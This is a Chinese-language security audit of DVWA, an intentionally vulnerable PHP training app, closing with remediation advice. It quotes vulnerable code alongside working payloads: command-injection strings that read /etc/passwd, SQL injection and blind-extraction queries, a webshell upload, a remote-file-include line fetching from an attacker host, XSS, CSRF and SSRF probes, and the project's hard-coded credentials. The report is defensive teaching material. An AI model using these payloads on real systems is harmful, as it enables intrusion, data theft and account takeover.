DVWA 代码审计报告
审计对象: DVWA (Damn Vulnerable Web Application) — 基于 PHP + MariaDB 的故意设计存在漏洞的 Web 安全教学/测试靶场
审计时间: 2026-08-12
审计范围: 全站 PHP 源码(含login.php、setup.php、vulnerabilities/*全部漏洞模块、vulnerabilities/api/*RESTful API 模块)
审计目的: 定位可导致系统权限/系统数据、用户权限/用户数据、应用权限/应用数据泄露或篡改的漏洞(反序列化、命令执行/RCE、SQL 注入、未授权访问、硬编码密钥/账号密码、XSS、SSRF、越权)
⚠️ 重要声明: DVWA 是有意的漏洞靶场,以下"漏洞"绝大部分是项目故意构造的教学样例,用于授权范围内的安全学习与测试。本报告仅作防御性安全研究参考,禁止将其中任何技术用于未授权目标。
一、审计结论摘要
| # | 漏洞类别 | 严重级别 | 主要位置 | 最大影响 |
|---|---|---|---|---|
| 1 | 命令执行 / RCE | 🔴 严重 | exec/*、api/src/HealthController.php |
系统命令执行,获取系统权限/数据 |
| 2 | SQL 注入 | 🔴 严重 | sqli/*、sqli_blind/*、login.php、authbypass/change_user_details.php |
拖库、绕过认证、篡改数据 |
| 3 | 文件上传(任意 PHP 上传) | 🔴 严重 | upload/* |
上传 WebShell → 服务器 RCE |
| 4 | 文件包含 (LFI/RFI) | 🔴 严重 | fi/*、view_help.php |
任意文件读取 / 远程代码执行 |
| 5 | 硬编码密钥/凭据 | 🔴 严重 | api/src/Login.php、Token.php、sqli/test.php、config.inc.php.dist |
伪造 API Token、直接登录 |
| 6 | 未授权访问 | 🔴 严重 | api/*、authbypass/* |
无认证读写用户数据、改 level 提权 |
| 7 | 越权 / 提权 (IDOR/BAC) | 🟠 高 | bac/*、authbypass/* |
查看/篡改任意用户数据 |
| 8 | XSS(反射/存储/DOM/JSONP) | 🟠 高 | xss_r/*、xss_s/*、xss_d/*、csp/source/jsonp.php |
窃取 Cookie/会话、CSRF 联动 |
| 9 | CSRF | 🟠 高 | csrf/*、captcha/* |
无验证改密码 → 账号接管 |
| 10 | SSRF | 🟠 高 | api/src/HealthController.php、fi/* |
内网探测/访问 |
| 11 | 弱会话 ID / 会话固定 | 🟡 中 | weak_id/*、dvwaPage.inc.php |
会话劫持/预测 |
| 12 | 反序列化 | ⚪ 未发现 | 全站 | — |
结论: 本靶场在 low/medium/high 安全级别下存在覆盖用户请求全部类别的漏洞;API 模块(vulnerabilities/api/)即使在高/不可绕过级别下依然整体无认证防护且携带硬编码密钥,是最危险的攻击面。
二、漏洞详情
2.1 命令执行 / RCE
🔴 2.1.1 exec 命令注入(任意级别可控)
- 文件:
vulnerabilities/exec/source/low.php、medium.php、high.php - 代码(low):
$target = $_REQUEST[ 'ip' ]; // 用户完全可控
$cmd = shell_exec( 'ping -c 4 ' . $target ); // 直接拼接执行
- 利用:
ip=127.0.0.1; id→ 执行id输出;127.0.0.1; cat /etc/passwd等。 - 绕过:
- medium: 仅过滤
&&、;→ 用|或换行绕过。 - high: 过滤了
|(竖线+空格)等,但竖线不带空格|可绕过。
- medium: 仅过滤
- 影响: 系统命令执行 → 系统权限、系统文件、反弹 Shell。
🔴 2.1.2 API HealthController 命令注入(high lab)
- 文件:
vulnerabilities/api/src/HealthController.php:88
$target = $input['target']; // POST JSON 可控
exec ("ping -c 4 " . $target, $output, $ret_var);
- 利用:
POST /vulnerabilities/api/v2/health/connectivitybody{"target":"127.0.0.1; id"}→ 命令执行,且无需任何认证(API 无鉴权,见 2.6)。 - 影响: 未认证 RCE,同时该端点也是 SSRF(2.10)。
🟠 2.1.3 eval() 代码执行(help 页面)
- 文件:
vulnerabilities/view_help.php:20,22
$id = $_GET['id']; $locale = $_GET['locale'];
eval( '?>' . file_get_contents( "vulnerabilities/{$id}/help/help.{$locale}.php" ) . '<?php ' );
- 利用: 若
$id可被目录穿越/注入,file_get_contents读取的内容会被eval当作 PHP 执行。属代码注入 + LFI 复合风险。 - 影响: 代码执行(需配合可控可写文件或日志注入)。
🟠 2.1.4 其他 shell_exec
setup.php:58,61,73—shell_exec("apachectl -M ...")、shell_exec("git ...")(参数固定,无用户输入,风险低)vulnerabilities/api/index.php:33—shell_exec("apachectl -M | grep rewrite_module")(同上,风险低)
2.2 SQL 注入
🔴 2.2.1 字符型 SQLi(low)
- 文件:
vulnerabilities/sqli/source/low.php
$id = $_REQUEST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
- 利用:
id=1' UNION SELECT user,password FROM users--→ 拖取全部用户 MD5 密码。 - 影响: 用户凭据泄露、认证绕过(
' OR 1=1 --)。
🔴 2.2.2 数值型 SQLi(medium,转义失效)
- 文件:
vulnerabilities/sqli/source/medium.php
$id = mysqli_real_escape_string( ... $id );
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; // 无引号包裹
- 利用: 转义只对引号内有效;数值上下文仍可注入
1 OR 1=1。常见转义陷阱。
🔴 2.2.3 会话输入型 SQLi(high)
- 文件:
vulnerabilities/sqli/source/high.php+sqli/session-input.php
// session-input.php: $id = $_SESSION['id'] = $_POST['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
- 利用: 攻击者先提交
POST /vulnerabilities/sqli/session-input.php?id=1' UNION ...--把 payload 写入 Session,再访问查询页触发。会话作为注入点。 - 影响: 与 2.2.1 相同,且绕过"前端输入"的表层防护。
🔴 2.2.4 盲注(布尔型)
- 文件:
vulnerabilities/sqli_blind/source/low.php、medium.php、high.php(high 用 Cookie$_COOKIE['id']) - 利用:
1' AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE user_id=1)>90 --逐位爆破密码。Cookie 注入点见sqli_blind/cookie-input.php。 - 影响: 无回显场景下仍可逐字节窃取数据。
🔴 2.2.5 登录接口 SQLi
- 文件:
login.php:39、vulnerabilities/brute/source/medium.php:14
$query = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
- 利用: 用户名注入
' OR '1'='1配合任意 md5 值 → 无需密码登录。 - 注意: 若无法注入,
brute模块本身就是弱凭据爆破靶(默认用户admin/password)。
🔴 2.2.6 授权绕过模块中的 SQLi
- 文件:
vulnerabilities/authbypass/change_user_details.php:47
$query = "UPDATE users SET first_name = '" . $data->first_name . "', last_name = '" .
$data->surname . "' where user_id = " . $data->id . "";
- 利用: 未转义 JSON 字段直接拼接 → 任意用户 UPDATE,同时存在 SQLi(可二次注入、报错回显)。
- 影响: 篡改任意用户数据 + SQL 注入,且低/中/高级别下任何已登录用户均可调用(见 2.7.2)。
🟡 2.2.7 API 版本回退泄露密码哈希
- 文件:
vulnerabilities/api/src/User.php:38-46
case 1: $a = array( ..., "password" => $this->password, ); // v1 返回密码字段!
- 利用:
GET /vulnerabilities/api/v1/user/→ 返回password字段(sha256 哈希,可离线爆破)。 - 影响: 用户凭据泄露。
2.3 文件上传(任意文件上传 → RCE)
🔴 2.3.1 无校验上传(low)
- 文件:
vulnerabilities/upload/source/low.php
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // 完全信任原始文件名/无任何校验
- 利用: 上传
shell.php→ 访问/hackable/uploads/shell.php→ WebShell → 服务器 RCE(系统权限)。
🟠 2.3.2 仅校验客户端 MIME(medium)
- 文件:
vulnerabilities/upload/source/medium.php
// 仅检查 $_FILES['uploaded']['type'] == 'image/jpeg' 等(客户端可控)
- 利用: 篡改请求 Content-Type / 用 Burp 改
type=image/jpeg→ 仍上传.php文件。
🟠 2.3.3 扩展名白名单 + getimagesize(high)
- 文件:
vulnerabilities/upload/source/high.php - 利用: 双扩展名
shell.jpg.php、.jpg内嵌 PHP 的图片马(polyglot)绕过getimagesize(),保留原始文件名 → 组合包含触发。
2.4 文件包含 (LFI/RFI)
🔴 2.4.1 完全无校验(low)
- 文件:
vulnerabilities/fi/source/low.php+fi/index.php:36
$file = $_GET[ 'page' ]; // low: 无任何过滤
if( isset( $file ) ) include( $file );
- 利用:
?page=/etc/passwd(LFI);若allow_url_include=On→?page=http://attacker/shell.txt(RFI → RCE)。
🟠 2.4.2 一次性 str_replace 绕过(medium)
- 文件:
vulnerabilities/fi/source/medium.php
$file = str_replace( array( "http://", "https://", "../" ), "", $file ); // 单次替换
- 利用:
..././、http:/\/\等嵌套写法绕过 → 任意读文件。
🟠 2.4.3 fnmatch 限制 file*(high)
- 文件:
vulnerabilities/fi/source/high.php
if( !fnmatch( "file*", $file ) ) { die("..."); }
- 利用:
?page=file:///etc/passwd→ PHP 流读取任意本地文件。
🔴 2.4.4 help 页 LFI + eval 复合(再次提示)
- 同 2.1.3:
view_help.php中$id可目录穿越读取任意.php并eval。
2.5 硬编码密钥 / 硬编码账号密码
🔴 2.5.1 API Token 密钥硬编码(可伪造任意 Token)
- 文件:
vulnerabilities/api/src/Login.php:10,12、api/src/Token.php:10
private const ACCESS_TOKEN_SECRET = "12345";
private const REFRESH_TOKEN_SECRET = "98765";
private const ENCRYPTION_KEY = "Paintbrush"; // aes-128-gcm 加密密钥
- 利用: 知道密钥即可用
openssl自造通过校验的 access/refresh token(secret + expires结构可见),彻底绕过 API 认证。 - 影响: 伪造任何用户身份的 API Token。
🔴 2.5.2 API 登录硬编码账号密码
- 文件:
vulnerabilities/api/src/LoginController.php:60,86,96
if ($username == "mrbennett" && $password == "becareful") { ... }
if ($client_id == "1471.dvwa.digi.ninja" && $client_secret == "ABigLongSecret") { ... }
- 利用: 直接使用源码中的明文凭据登录换取合法 Token。
🔴 2.5.3 数据库默认口令 & 种子账号
- 文件:
config/config.inc.php.dist:18-22
$_DVWA['db_server']='127.0.0.1'; $_DVWA['db_database']='dvwa';
$_DVWA['db_user']='dvwa'; $_DVWA['db_password']='p@ssw0rd';
- 文件:
database/dvwa/includes/DBMS/MySQL.php(setup 种子数据,MD5 存储):admin/admin、gordonb/abc123、1337/charley、pablo/letmein、smithy/password
- 影响: 默认口令直接登录应用;DB 口令可用于直连数据库读写全量数据。
🔴 2.5.4 MSSQL 测试脚本硬编码口令
- 文件:
vulnerabilities/sqli/test.php
$host = "192.168.0.7"; $username = "dvwa"; $password = "password"; // MSSQL 直连凭据
🟠 2.5.5 加密模块 XOR 密钥 + 口令
- 文件:
vulnerabilities/cryptography/source/low.php:16,41
$xor_key = "wachtwoord"; // XOR 密钥
if ($password == "Olifant") { ... } // 硬编码口令
🟠 2.5.6 API 新增用户固定默认密码
- 文件:
vulnerabilities/api/src/UserController.php:167
$user = new User(null, $input['name'], intval($input['level']), hash("sha256", "password"));
- 利用: 新增用户密码固定为
"password",可被接管。
2.6 未授权访问(无认证 / CORS 放行)
🔴 2.6.1 API 整体无鉴权 + CORS 通配
- 文件:
vulnerabilities/api/public/index.php:11、UserController.php(processRequest无任何 token 校验)
header("Access-Control-Allow-Origin: *");
- 利用:
GET /vulnerabilities/api/v2/user/→ 列出全部用户(含 level 角色信息);PUT /vulnerabilities/api/v2/user/1body{"name":"x","level":0}→ 将任意用户提权为 admin(level 0);DELETE /vulnerabilities/api/v2/user/{id}、POST .../user/→ 任意删/建用户;- 任意网站(CORS
*)可用 JS 直接调用上述接口 —— 跨域越权操作。
- 影响: 未认证管理用户、提权、数据增删改。
🔴 2.6.2 认证关闭开关
- 文件:
config/config.inc.php.dist:43
$_DVWA[ 'disable_authentication' ] = getenv('DISABLE_AUTHENTICATION') ?: false;
- 利用: 若部署时开启
DISABLE_AUTHENTICATION=true,全部页面不再校验登录。
2.7 越权 / 授权绕过 (IDOR / BAC)
🔴 2.7.1 认证绕过 — 用户数据接口(low/medium 无管理员校验)
- 文件:
vulnerabilities/authbypass/get_user_data.php:10
if ((security == "high" || security == "impossible") && dvwaCurrentUser() != "admin") { deny; }
// low / medium 级别下:任何已登录用户均可 SELECT 全部用户
- 影响: 普通用户窃取全部用户信息。
🔴 2.7.2 认证绕过 — 修改任意用户(low/medium/high 均可)
- 文件:
vulnerabilities/authbypass/change_user_details.php:11
if (security == "impossible" && dvwaCurrentUser() != "admin") { deny; }
// 其余级别:无任何身份/权限校验,直接 UPDATE users
- 利用: 任意已登录用户
POST {"id":1,"first_name":"x","surname":"y"}篡改 admin 等任意用户资料(并含 SQLi,见 2.2.6)。
🟠 2.7.3 Cookie 控制身份(low)
- 文件:
vulnerabilities/bac/source/low.php:30-33,89-94
if ($id == $_COOKIE['user_id']) { ... } // 客户端 Cookie 决定可访问对象
$role = $_COOKIE['user_role']; // Cookie 决定角色
- 利用: 修改 Cookie
user_id=1、user_role=admin→ 任意用户数据 + 提权;同时该页 SQLi + 日志存储 XSS。
🟠 2.7.4 硬编码 token 绕过(medium)
- 文件:
vulnerabilities/bac/source/medium.php:26
if (isset($_GET['token']) && $_GET['token'] == 'user_token') { ... } // 固定字符串
- 利用:
?token=user_token即通过校验(页面 HTML 注释里直接提示)。
🟠 2.7.5 API 修改用户 level 提权
- 同 2.6.1:
UserController.php:224-226允许未认证PUT任意修改level。
2.8 XSS
🟠 2.8.1 反射型 XSS
- 文件:
vulnerabilities/xss_r/source/low.php
$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; // 未编码直接输出
- medium (
xss_r/source/medium.php): 仅过滤<script>→<img src=x onerror=alert(1)>绕过。 - high (
xss_r/source/high.php):preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', ...)大小写/嵌套可绕过。
🟠 2.8.2 存储型 XSS
- 文件:
vulnerabilities/xss_s/source/low.php、medium.php、high.php - 代码(low/medium):
$message = $_POST[ 'mtxMessage' ]; $name = $_POST[ 'txtName' ]; // 未编码入库
INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );
- 输出侧(
dvwaPage.inc.php的dvwaGuestbook())在 low/medium 下不做 htmlspecialchars,任何访问留言板的用户触发。 - high: name 仅过滤
<script>(preg_replace,可绕过);message 已htmlspecialchars。 - 影响: 持久化恶意脚本 → 窃取任意访问者 Cookie/会话,配合 CSRF 接管账号。
🟠 2.8.3 DOM XSS
- 文件:
vulnerabilities/xss_d/index.php(document.write(document.location.href ...)截取default=参数) - 利用:
#default=<script>...</script>(high 白名单English/French/Spanish/German之外可注入其他标签)。 - 影响: 不经过服务器,纯前端执行。
🟠 2.8.4 JSONP 回调注入(反射型 XSS)
- 文件:
vulnerabilities/csp/source/jsonp.php:12
$callback = $_GET['callback']; // 无任何过滤
echo $callback . "(".json_encode($outp).")";
- 利用:
?callback=<script>alert(1)</script>→ 反射 XSS / 任意 JS 上下文注入。
🟠 2.8.5 BAC 日志存储型 XSS
- 文件:
vulnerabilities/bac/index.php(日志列表未转义输出)+bac/source/low.php:79-81(X-Forwarded-For直接入日志) - 利用: 伪造
X-Forwarded-For: <script>...</script>写入日志,管理员查看日志触发。
2.9 CSRF
🟠 2.9.1 无令牌 GET 改密(low)
- 文件:
vulnerabilities/csrf/source/low.php
// GET 请求直接修改密码,无 CSRF token
- 利用: 构造
<img src="http://dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">诱导受害者访问 → 改密 → 账号接管。
🟠 2.9.2 Referer 校验可绕过(medium)
- 文件:
vulnerabilities/csrf/source/medium.php
if (stripos($_SERVER[ 'HTTP_REFERER' ], $_SERVER[ 'SERVER_NAME' ]) !== false) { ... }
- 利用: 空 Referer / 站内可控页面发起即可绕过。
🟠 2.9.3 CAPTCHA 只在第一步(low)
- 文件:
vulnerabilities/captcha/source/low.php - 利用: 第一步过验证码拿到
passed_captcha后,第二步直接 POST 改密无需验证码;medium 则信任隐藏字段$_POST['passed_captcha'],可伪造。 - high:
hidd3n_valu3+ UAreCAPTCHA后端放行(captcha/source/high.php:20-21)。
🟡 2.9.4 登录/改密流程 CSRF
login.php、brute/high.php等均依赖可预测的md5(uniqid())token(见 2.11.3),存在预测/复用风险。
2.10 SSRF
🟠 2.10.1 API connectivity 端点
- 文件:
vulnerabilities/api/src/HealthController.php:83-88(无认证) - 利用:
POST /vulnerabilities/api/v2/health/connectivitybody{"target":"169.254.169.254"}/ 内网 IP → 用ping探测内网主机存活(同时为命令注入点 2.1.2)。
🟠 2.10.2 文件包含 RFI
fi/*low/medium 在allow_url_include=On时支持远程 URL → 任意外部资源包含(RFI,见 2.4.1)。
2.11 弱会话 ID / 会话安全
🟡 2.11.1 可预测会话 ID
- 文件:
vulnerabilities/weak_id/source/low.php(顺序整数)、medium.php(time())、high.php(md5(计数器)) - 利用: 预测/遍历他人会话 ID → 会话劫持。
🟡 2.11.2 会话固定(非 impossible)
- 文件:
dvwa/includes/dvwaPage.inc.php
if (安全级别非 impossible) session_id( $_COOKIE[ session_name() ] ); // 允许外部指定 session id
- 利用: 先指定自己的 session_id 诱导受害者登录,再复用 → 登录后保持攻击者可控会话。
🟡 2.11.3 CSRF token 生成弱
- 文件:
dvwa/includes/dvwaPage.inc.php
$_SESSION[ 'session_token' ] = md5( uniqid() ); // 弱随机,可预测/爆破
2.12 反序列化
- 全站 grep 检索
unserialize、unserialize_callback_func:未发现任何反序列化调用。 - 结论: 本代码库无 PHP 对象反序列化漏洞。攻击面集中在 SQL 注入、命令注入与文件上传等(见上文)。
2.13 其他风险点
- 错误信息回显(辅助漏洞):
sqli/*、login.php、authbypass/change_user_details.php均使用or die(mysqli_error(...))→ 报错型注入与信息泄露,加速拖库。 - CORS 通配: 见 2.6.1。
- 明文算法: 密码普遍使用
md5(可查彩虹表);cryptography模块为可逆 XOR 加密。 - 客户端"安全"逻辑:
javascript/source/low.php的 token 为客户端md5(rot13()),可被任意绕过。 - 源码查看页泄露:
view_source.php允许低权限用户查看所有级别源码(教学特性,但也是信息泄露)。
三、按安全级别汇总
| 安全级别 | 代表性可攻击面 | 说明 |
|---|---|---|
| low | 全部模块全部漏洞 | 无任何防护 |
| medium | 转义/黑名单/BAC token/Referer 均绕过 | 黑名单思路通病 |
| high | SQLi 转 Session/Cookie、LFI file://、exec 竖线绕过、BAC 仅 impossible 拦截 |
仍需白名单 + 参数化 |
| impossible | 大部分 lab 已修复;但 API 模块仍整体无认证 + 硬编码密钥 | 修复不彻底 |
⚠️ 特别说明:
vulnerabilities/api/*的/vulnerabilities/api/v2/user/*、/health/connectivity等端点在任意安全级别下都无身份认证,且依赖硬编码密钥(12345/98765/Paintbrush)与固定口令(mrbennett/becareful、1471.dvwa.digi.ninja/ABigLongSecret),是全站最严重、且不可通过切换安全级别修复的攻击面。
四、修复建议(防御视角)
- SQL 注入: 全部改用 PDO 预处理语句(如
sqli/source/impossible.php的写法);删除or die(mysqli_error())。 - 命令注入/RCE: 禁止拼接 shell;改用
escapeshellarg()+ 白名单校验 IP;exec/shell_exec尽量用参数数组形式;移除eval(),帮助文件用白名单映射。 - 文件上传: 服务端白名单扩展名 + 内容校验 + 随机重命名(参照
impossible.php)+ 存储目录禁止执行脚本(.htaccessphp_flag engine off)。 - 文件包含: 用固定映射/白名单替代直接拼路径;禁用
allow_url_include。 - API: 为所有端点加统一鉴权中间件;密钥与口令移入环境变量并改为强随机;
UserController的 level 修改需管理员角色校验;删除 v1 的password返回。 - 越权/BAC: 服务端基于会话身份判断资源归属/角色,绝不信任 Cookie/请求参数;
change_user_details/get_user_data在全部级别加管理员校验。 - XSS: 输出统一
htmlspecialchars(ENT_QUOTES);JSONP 白名单回调;CSP 收紧。 - CSRF: 全站强随机 token + SameSite Cookie;改密/登录走 POST。
- 硬编码凭据: 全局检索并外置到环境变量/密钥管理;更换默认口令与种子账号。
- 会话: 使用 PHP 原生安全 session(
session_regenerate_id),禁止客户端指定 session_id;ID 用 CSPRNG。 - CORS: 移除
*,仅允许受信来源。
五、审计范围与方法
- 全量阅读
vulnerabilities/*各模块的low/medium/high/impossible源码及入口文件; - 全站 grep 危险函数:
unserialize、eval、system、passthru、shell_exec、exec、popen、include、require、curl、file_get_contents、mysqli_query; - 全站 grep 硬编码凭据模式:
password、secret、key、admin、p@ssw0rd等。 - 参考文档: OWASP Top 10 / WSTG。